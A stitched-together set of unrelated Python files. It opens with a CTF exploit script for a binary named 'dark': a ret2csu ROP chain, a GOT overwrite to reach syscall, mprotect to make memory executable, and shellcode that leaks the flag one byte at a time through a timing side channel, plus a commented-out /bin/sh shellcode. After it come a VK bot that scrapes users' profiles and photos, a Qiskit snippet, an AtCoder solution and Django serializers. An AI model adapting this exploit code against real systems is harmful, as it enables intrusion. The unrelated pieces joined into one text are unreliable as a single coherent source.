def start_new_program():
    return process("./dark")
'''
def fuckflag():
    # 设置断点
    # 可见字符 32--126
    flag = ''

    for i in range(55, 70):
        log.info('flag=' + flag)
        l = 32
        r = 126
        old = None
        new = None
        while True:
            mid = (l + r) // 2
            program = start_new_program()
            if guess(program, 1, i, mid): # if > mid
                l = mid + 1
            else:
                r = mid
            #program.interactive()
            program.close()
            old = new
            new = mid
            if old == new:
                flag += chr(old)
                break
        if flag[-1] == '}':
            break
    log.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
    log.info('flag=' + flag)

# sha256(chal + sol).hexdigest().startswith('00000')
    # fp = open('out.data', 'wb')
    # fp.write(payload)
    # fp.close()

def guess(program, op, n, ch):
    payload = guess_payload(op, n, ch)
    log.info('len=0x%x' % len(payload))
    payload = payload.ljust(0x8000 - 1, '\x00')
    #payload = ''.ljust(0x8000 - 1, '\x00')
    program.sendline(payload)
    sleep(0.5)
    opc1 = ['=', '>', '<']
    opc2 = ['!=', '<=', '>=']
    try:
        program.sendline('fuck!')
    except:
        log.info('flag[%d]%s%c' % (n, opc1[op], ch))
        return True
    log.info('flag[%d]%s%c' % (n, opc2[op], ch))
    return False

def guess_payload(op, n, ch):
    # 0 相等
    # 1 大于
    # 2 小于
    shellcode1 = asm(shellcraft.amd64.linux.open('flag'))
    shellcode1 += asm('''mov rbx, rax''')
    shellcode1 +=asm(shellcraft.amd64.linux.read('rbx', 0x000000000404250, 70))
    shellcode2 = asm('''
    mov rax, 0x%x
    xor rbx, rbx
    mov bl, byte ptr [rax]
    ''' % (0x000000000404250 + n, ))
    if op == 0:
        shellcode2 += asm('''
        fuck:
        cmp bl, 0x%x
        jnz fuck
        ''' % ch)
    elif op == 1:
        shellcode2 += asm('''
        fuck:
        cmp bl, 0x%x
        jng fuck
        ''' % ch)
    elif op == 2:
        shellcode2 += asm('''
        fuck:
        cmp bl, 0x%x
        jnl fuck
        ''' % ch)
    shellcode3 = asm(shellcraft.amd64.linux.exit(0))
    payload = make_shellcode(shellcode1 + shellcode2 + shellcode3)
    return payload

def make_shellcode(shellcode):
    '''
    remote libc
    read
    .text:00000000000DB6D0                 cmp     rax, 0FFFFFFFFFFFFF001h

    mprotect 0xE44D0
    '''
    # 0x00601040 alarm got
    # 0x0601048  read  got
    # read(0, 0x00601040, 1)  rdi, rsi, rdx
    #
    #0x0000000000400a53 : pop rdi ; ret
    elf=ELF("./dark")
    read_got=elf.got["read"]
    csu_foot=0x000000000401272
    csu_head=0x000000000401258
    # 初始时rdi=0 rbx=0
    fake_stack=0x000000000404050+0x400
    pop_rsp_pop3_ret=0x0000000000401275
    payload1 = 'a'*0x10 + p64(1) #rbp=1
    # 0x400A4E pop r12; pop r13; pop r14; pop r15 ret;
    payload1 += p64(0x000000000401274) # csu_foot
    payload1 += p64(0x000000000404038) # r12 read_got ; call read
    payload1 += p64(0) # r13
    payload1 += p64(0x000000000404030) # r14 alarm got
    payload1 += p64(1) # r15
    payload1 += p64(0x000000000401258) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
    payload1 += 'a'*56    # padding
    payload1 += p64(csu_foot)
    payload1 += p64(0)
    payload1 += p64(1)
    payload1 += p64(read_got) # du ru rop
    payload1 += p64(0)
    payload1 += p64(fake_stack)
    payload1 += p64(0x1000)
    payload1 += p64(csu_head)
    payload1 += 'A'*56
    payload1 += p64(pop_rsp_pop3_ret)
    payload1 += p64(fake_stack-8-8-8)
    payload1 += p64(0)*3 #padding
    payload1 = payload1.ljust(0x1000, '\x00')

    payload2 = '\x45' # 覆盖alarm got最后为0x80 则指向 syscall

    alarm_got = 0x000000000404030

    payload3 = p64(csu_foot)
    payload3 +=p64(0)
    payload3 +=p64(1)
    payload3 +=p64(read_got)
    payload3 +=p64(0)
    payload3 +=p64(fake_stack+0x200)
    payload3 +=p64(0xa) # make rax =  0xa
    payload3 +=p64(csu_head)
    payload3 +='A'*56
    shellcode_addr =  fake_stack+0x600
    payload3 +=p64(csu_foot)
    payload3 += p64(0) # rbx
    payload3 += p64(1) # rbp
    payload3 += p64(alarm_got) # r12 syscall
    payload3 += p64(shellcode_addr&0xfffff000) # r13 0x1+0x2+0x4 rwx
    payload3 += p64(0x4000) # r14 size
    payload3 += p64(0x7) # r15 addr
    payload3 += p64(csu_head) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]

    payload3 += 'a'*8    # padding
    payload3 += p64(0) # rbx
    payload3 += p64(1) # rbp
    payload3 += p64(0x000000000404038) # r12 read_Got call read
    payload3 += p64(0) # r13
    payload3 += p64(shellcode_addr) # r14 bss
    payload3 += p64(0x200) # r15
    payload3 += p64(csu_head)
    payload3 += 'A'*56
    payload3 += p64(shellcode_addr)
    payload3 = payload3.ljust(0x1000, '\x00')

    payload4 = 'a'*0xa # 修改rax

    payload6 = shellcode
    payload6 = payload6.ljust(0x200, '\x00')

    payload = payload1 + payload2 + payload3 + payload4+ payload6

    return payload

def main():

    fuckflag()

def debug():
    gdb.attach(a,'''
    b *(0x00000000040121E)
    b *(0x000000000401261)
    ''')

if __name__ == '__main__':
    main()
    '''
    shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

    a=process("./dark")
    context.binary = "./dark"
    payload = make_shellcode(shellcode_x64)
    debug()
    a.sendline(payload)
    a.interactive()
    '''


import json
import datetime
import requests
from pprint import pprint
import vk_api
from vk_api import VkUpload, upload
from vk_api.longpoll import VkLongPoll, VkEventType
from vk_api.utils import get_random_id
from data_base import *
import operator
from operator import itemgetter, attrgetter, methodcaller

offset = 0
from config import token
from config import tokenvk

class Vkbot:
    def __init__(self):
        self.authorize = vk_api.VkApi(token=tokenvk)
        self.vk_session = vk_api.VkApi(token=token)
        self.longpoll = VkLongPoll(self.vk_session)

        self.session = requests.Session()
        self.upload = VkUpload(self.authorize)

    def sender(user_id, text):
        bot.vk_session.method('messages.send',
                              {'user_id': user_id,
                               'message': text,
                               'random_id': 0,
                               })

    def write_message(self, sender, message):
        self.vk_session.method('messages.send', {'user_id': sender,
                                                 'message': message,
                                                 'random_id': get_random_id()})

    def write_messageattach(self, sender, message, attachment):
        self.vk_session.method('messages.send', {'user_id': sender,
                                                 'message': message,
                                                 'random_id': get_random_id(),
                                                 'attachment': ','.join(attachment)})

    def seeker_name(self, user_id):
        url = f'https://api.vk.com/method/users.get'
        params = {'access_token': tokenvk,
                  'user_ids': user_id,
                  'v': '5.131'}
        resp = requests.get(url, params)
        response = resp.json()
        try:
            information_dict = response['response']
            for i in information_dict:
                for key, value in i.items():
                    first_name = i.get('first_name')
                    return first_name
        except KeyError:
            print('Data error')
            return None

    def get_seekers_sex(self, user_id):
        url = f'https://api.vk.com/method/users.get'
        params = {'access_token': tokenvk, 'user_ids': user_id,
                  'fields': 'sex', 'v': '5.131'}
        resp = requests.get(url, params=params)
        response = resp.json()
        try:
            information_list = response['response']
            for i in information_list:
                if i.get('sex') == 2:
                    sex_found = 1
                    return sex_found
                elif i.get('sex') == 1:
                    sex_found = 2
                    return sex_found
        except KeyError:
            print('Data error')
            return None

    def get_city_by_name(self, user_id, city_name):
        url = f'https://api.vk.com/method/database.getCities'
        params = {'access_token': tokenvk, 'q': f'{city_name}',
                  'need_all': 0, 'count': 1000, 'v': '5.131'}
        resp = requests.get(url, params=params)
        response = resp.json()
        try:
            information_list = response['response']
            list_cities = information_list['items']
            for i in list_cities:
                found_city_name = i.get('title')
                if found_city_name == city_name:
                    found_city_id = i.get('id')
                    return int(found_city_id)
        except KeyError:
            print('Data error')
            return None

    def get_city_by_user(self, user_id):
        url = f'https://api.vk.com/method/users.get'
        params = {'access_token': tokenvk, 'fields': 'city',
                  'user_ids': user_id, 'v': '5.131'}
        resp = requests.get(url, params=params)
        response = resp.json()

        try:
            information_cities = response['response']
            for i in information_cities:
                if 'city' in i:
                    city = i.get('city')
                    id = str(city.get('id'))
                    return id
                elif 'city' not in i:
                    self.write_message(user_id, 'Введите свой город, пожалуйста!')
                    for event in self.longpoll.listen():
                        if event.type == VkEventType.MESSAGE_NEW and event.to_me:
                            city_name = event.text
                            id_city = self.get_city_by_name(user_id, city_name)
                            if id_city != '' or id_city != None:
                                return str(id_city)
        except KeyError:
            print('Data error')
            return None

    def age_from(self, user_id):
        url = f'https://api.vk.com/method/users.get'
        params = {'access_token': tokenvk, 'user_ids': user_id,
                  'fields': 'bdate', 'v': '5.131'}
        resp = requests.get(url, params=params)
        response = resp.json()
        try:
            information = response['response']
            for i in information:
                b_date = i.get('bdate')
            date_list = b_date.split('.')
            if len(date_list) == 3:
                year = int(date_list[2])
                actual_year = int(datetime.date.today().year)
                age = actual_year - year
                return age
            elif len(date_list) == 2 or b_date not in information:
                self.write_message(user_id, 'Возраст кандидатов, начиная от ...')
                for event in self.longpoll.listen():
                    if event.type == VkEventType.MESSAGE_NEW and event.to_me:
                        age = event.text
                        return age

        except KeyError:
            print('Data error')
            return None

    def age_to(self, user_id):
        self.write_message(user_id, 'Возраст кандидатов до...')
        for event in self.longpoll.listen():
            if event.type == VkEventType.MESSAGE_NEW and event.to_me:
                age_to = event.text
                return age_to

    def find_candidate(self, user_id):
        url = 'https://api.vk.com/method/users.search'

        age_from = int(self.age_from(user_id))
        age_to = int(self.age_to(user_id))

        print(f'{age_from} up {age_to}')

        params = {'access_token': tokenvk, 'v': '5.131', 'sex': self.get_seekers_sex(user_id),
                  'age_from': age_from, 'age_to': age_to,
                  'city': self.get_city_by_user(user_id), 'status': '1' or '6',
                  'fields': 'is_closed, id, first_name, last_name', 'count': 100}
        res = requests.get(url, params=params)
        resp_json = res.json()

        try:
            resp_dict = resp_json['response']
            resp_list = resp_dict['items']
            for person in resp_list:
                if person.get('is_closed') == False:
                    first_name = person.get('first_name')
                    last_name = person.get('last_name')
                    vk_id = int(person.get('id'))
                    vk_link = 'vk.com/id' + str(person.get('id'))
                    insert_data_found_users(first_name, last_name, vk_id, vk_link)
                else:
                    continue
        except KeyError:
            print('Data error')
            return None

    def get_photo(self, user_id):
        url = f'https://api.vk.com/method/photos.getProfile'
        params = {'access_token': tokenvk, 'v': '5.131',
                  'type': 'album', 'owner_id': user_id,
                  'album_id': 'profile', 'count': 1000, 'extended': 1,
                  'photo_sizes': 1, 'url': url}

        response = requests.get(url, params=params)
        resp_json = response.json()
        photos = []

        try:

            for photo in resp_json['response']['items']:
                photos.append((photo['id'], photo['owner_id'], photo['likes']['count']))
                sorted_photos = sorted(photos, key=operator.itemgetter(2), reverse=True)
                top3_photos = [(id, photo) for id, photo, _ in sorted_photos][:3]
            return top3_photos

        except KeyError:
            print('Data error')
            return None

    def get_urls(self, user_id):
        url = f'https://api.vk.com/method/photos.getProfile'
        params = {'access_token': tokenvk, 'v': '5.131',
                  'type': 'album', 'owner_id': user_id,
                  'album_id': 'profile', 'count': 1000, 'extended': 1,
                  'photo_sizes': 1, 'url': url}

        response = requests.get(url, params=params)
        resp_json = response.json()
        try:
            photos = []
            for photo in resp_json['response']['items']:
                photos.append((photo['id'], photo['sizes'][-1]['url'], photo['likes']['count']))
                sorted_photos = sorted(photos, key=operator.itemgetter(2), reverse=True)
                # print(len(sorted_photos))
                top3 = [(id, photo) for id, photo, _ in sorted_photos][:3]
                top3_urls = [x[1] for x in top3]
            return top3_urls
        except KeyError:
            print('Data error')
            return None

    def object_id(self):
        tuple_object = select_unseen(offset)

        list_object = []
        for i in tuple_object:
            list_object.append(i)
        return (list_object[0])

    def found_object_info(self):
        unseen_info = select_unseen(offset)
        list_object = []
        for i in unseen_info:
            list_object.append(i)
        return f'{list_object[1]} {list_object[2]}, {list_object[3]}'

    def find_object(self, user_id):
        self.write_message(user_id, self.found_object_info())
        self.object_id()
        insert_data_seen_users(self.object_id())
        self.get_photo(self.object_id())
        f_o_photos = self.get_photo(self.object_id())
        if len(f_o_photos) > 1:
            attachment = []
            photos_list = []
            urls = self.get_urls(self.object_id())

            for ul in urls:
                r = requests.get(ul)
                with open('image.jpg', 'wb') as fd:
                    for chunk in r.iter_content():
                        fd.write(chunk)

                upload_image = self.upload.photo_messages('image.jpg')[0]
                attachment.append(
                    'photo{}_{}_{}'.format(upload_image['owner_id'], upload_image['id'], upload_image['access_key']))

            message = 'есть фото!'
            self.write_messageattach(user_id, message, attachment)

        elif len(f_o_photos) == 1:
            attachment = []
            ul = self.get_urls(self.object_id())
            r = requests.get(ul)
            with open('image.jpg', 'wb') as fd:
                for chunk in r.iter_content():
                    fd.write(chunk)
            upload_image = self.upload.photo_messages('image.jpg')[0]
            attachment.append(
                'photo{}_{}_{}'.format(upload_image['owner_id'], upload_image['id'], upload_image['access_key']))
            self.write_messageattach(user_id, 'Только одно фото', attachment)
        else:

            self.write_message(user_id, 'Фотографий нет')

bot = Vkbot()


from qiskit import (
    QuantumCircuit,
    execute,
    Aer,
    converters,
    IBMQ)
from qiskit.transpiler import CouplingMap, Layout

provider = IBMQ.load_account()

#simulated_backend = provider.get_backend('ibmq_qasm_simulator')
simulated_backend = provider.get_backend('ibmqx5')
coupling_map_list = simulated_backend.configuration().coupling_map  # Get coupling map from backend
coupling_map = CouplingMap(coupling_map_list)
print(coupling_map_list)


n = int(input())
s = input()
count =[[0 for i in range(3)] for i in range(n+1)]
for i in range(1,n+1):
    if s[i-1] == 'R':
        count[i][0] = count[i-1][0] + 1
    else:
        count[i][0] = count[i-1][0]
    if s[i-1] == 'G':
        count[i][1] = count[i-1][1] + 1
    else:
        count[i][1] = count[i-1][1]
    if s[i-1] == 'B':
        count[i][2] = count[i-1][2] + 1
    else:
        count[i][2] = count[i-1][2]
ans = 0
words = set(['R','G','B'])
for i in range(n):
    for j in range(i+1,n):
        k = set([s[i],s[j]])
        if len(k) == 2:
            remain = (words - k)
            remain = list(remain)[0]
            d = j-i
            if remain == 'R':
                if j + d < n and s[j + d] == 'R':
                    ans += count[-1][0] - count[j][0] - 1
                else:
                    ans += count[-1][0] - count[j][0]
            elif remain == 'G':
                if j + d < n and s[j + d] == 'G':
                    ans += count[-1][1] - count[j][1] - 1
                else:
                    ans += count[-1][1] - count[j][1]
            else:
                if j + d < n and s[j + d] == 'B':
                    ans += count[-1][2] - count[j][2] - 1
                else:
                    ans += count[-1][2] - count[j][2]
print(ans)

python/AtCoder Beginner Contest 162/D.py


from rest_framework import serializers
from .models import Follow, UserSetting, UserFeedPosition
from utils.serializers import UnixTimestampModelSerializer
from common.serializers import CustomUserSerializer
from django.contrib.auth import password_validation
from django.contrib.auth.hashers import make_password
from rest_framework import serializers
from authentication.models import CustomUser

class NotificationSettingsDataSerializer(serializers.Serializer):
    account = serializers.BooleanField(required=False)
    marketing = serializers.BooleanField(required=False)
    updates = serializers.BooleanField(required=False)

class SettingNotificationSerializer(serializers.Serializer):
    email = NotificationSettingsDataSerializer(required=False)

class AccountSettingsDataSerializer(serializers.ModelSerializer):
    class Meta:
        model = CustomUser
        fields = ["display_name", "username", "email"]

    def validate_email(self, value):
        if CustomUser.objects.exclude(pk=self.instance.pk).filter(email=value).exists():
            raise serializers.ValidationError("This email is already in use.")
        return value

    def validate_username(self, value):
        if (
            CustomUser.objects.exclude(pk=self.instance.pk)
            .filter(username=value)
            .exists()
        ):
            raise serializers.ValidationError("This username is already in use.")
        return value

class SystemSettingsDataSerializer(serializers.Serializer):
    theme = serializers.CharField(required=False)
    language = serializers.CharField(required=False)

class PersonalSettingsDataSerializer(serializers.Serializer):
    favorite_categories = serializers.ListField(
        child=serializers.CharField(), required=False
    )

class UserSettingSerializer(UnixTimestampModelSerializer):
    user_id = serializers.UUIDField(read_only=True)
    system_settings = SystemSettingsDataSerializer()
    account_settings = AccountSettingsDataSerializer(source="user")
    notification_settings = SettingNotificationSerializer()
    personal_settings = PersonalSettingsDataSerializer()

    class Meta:
        model = UserSetting
        fields = "__all__"

    def validate_settings_data(data):
        serializer = UserSettingSerializer(data=data)
        if serializer.is_valid(raise_exception=True):
            return serializer.validated_data
        return None

    def update(self, instance, validated_data):
        # Extract nested settings data
        personal_settings_data = validated_data.get("personal_settings", {})

        print("Current personal_settings:", instance.personal_settings)
        print("Incoming personal_settings_data:", personal_settings_data)

        # Merge old and new data for personal settings
        instance.personal_settings = {
            **instance.personal_settings,
            **personal_settings_data,
        }

        print("Merged personal_settings:", instance.personal_settings)

        # Extract nested settings data
        # personal_settings_data = validated_data.get('personal_settings', {})
        system_settings_data = validated_data.get("system_settings", {})
        account_settings_data = validated_data.get("account_settings", {})
        notification_settings_data = validated_data.get("notification_settings", {})

        print("Current notification_settings:", instance.notification_settings)
        print("Incoming notification_settings_data:", notification_settings_data)

        # Merge old and new data for each setting
        # instance.personal_settings = {**instance.personal_settings, **personal_settings_data}
        instance.system_settings = {**instance.system_settings, **system_settings_data}
        instance.account_settings = {
            **instance.account_settings,
            **account_settings_data,
        }

        # Special handling for nested dictionary in notification settings
        email_settings_data = notification_settings_data.get("email", {})
        if "email" in instance.notification_settings:
            instance.notification_settings["email"] = {
                **instance.notification_settings["email"],
                **email_settings_data,
            }
        else:
            instance.notification_settings["email"] = email_settings_data

        print("Merged notification_settings:", instance.notification_settings)

        instance.save()

        # Update CustomUser fields
        if account_settings_data:
            user = instance.user
            for attr, value in account_settings_data.items():
                if hasattr(user, attr):
                    setattr(user, attr, value)
            user.save()

        return instance

class FollowSerializer(serializers.ModelSerializer):
    follower = CustomUserSerializer(read_only=True)
    followed = CustomUserSerializer(read_only=True)

    class Meta:
        model = Follow
        fields = ("id", "follower", "followed")

class UserFeedPositionSerializer(serializers.ModelSerializer):
    class Meta:
        model = UserFeedPosition
        fields = ["last_story_read"]

# users/serializers.py